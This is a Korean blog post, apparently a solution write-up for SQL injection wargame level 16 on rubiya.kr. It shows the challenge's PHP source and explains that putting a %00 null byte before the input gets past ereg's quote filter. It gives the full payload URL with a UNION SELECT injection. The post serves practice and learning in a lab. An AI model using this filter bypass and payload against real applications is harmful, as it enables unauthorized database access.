http://rubiya.kr/sqli/prob16.php
<?php
include "./dbconn.php";
include "./solve.php";
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(@ereg("'",$_GET[id])) exit("HeHe");
if(@ereg("'",$_GET[pw])) exit("HeHe");
$query = "select id from prob16 where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve();
highlight_file(__FILE__);
?>
한참을 고민했는데..... 16번과 17번을 보다보니까 문제가 서로 필터링 부분에서 ereg함수와 preg_match
만 다른걸 보고 ereg에 문제가 있나? 하고 php ereg 취약점 이런식으로 찾아본 결과....
%00의 널값을 주면 더이상 패턴 검사를 안한다고 써있네요.
http://rubiya.kr/sqli/prob16.php?id=%00a%27%20union%20select%20%27admin%27%23
처럼 id=뒤에 %00을 붙여주면 '를 써도 패턴 검사를 못 합니다.
'webhacking > sql, sql injection' 카테고리의 다른 글
webhacking.kr 9번. (16) | 2014.08.31 |
---|---|
rubiya.kr 17번. (0) | 2014.08.30 |
itchy (0) | 2014.08.29 |
rubiya.kr 14번. (0) | 2014.08.28 |
rubiya.kr 13번. (0) | 2014.08.28 |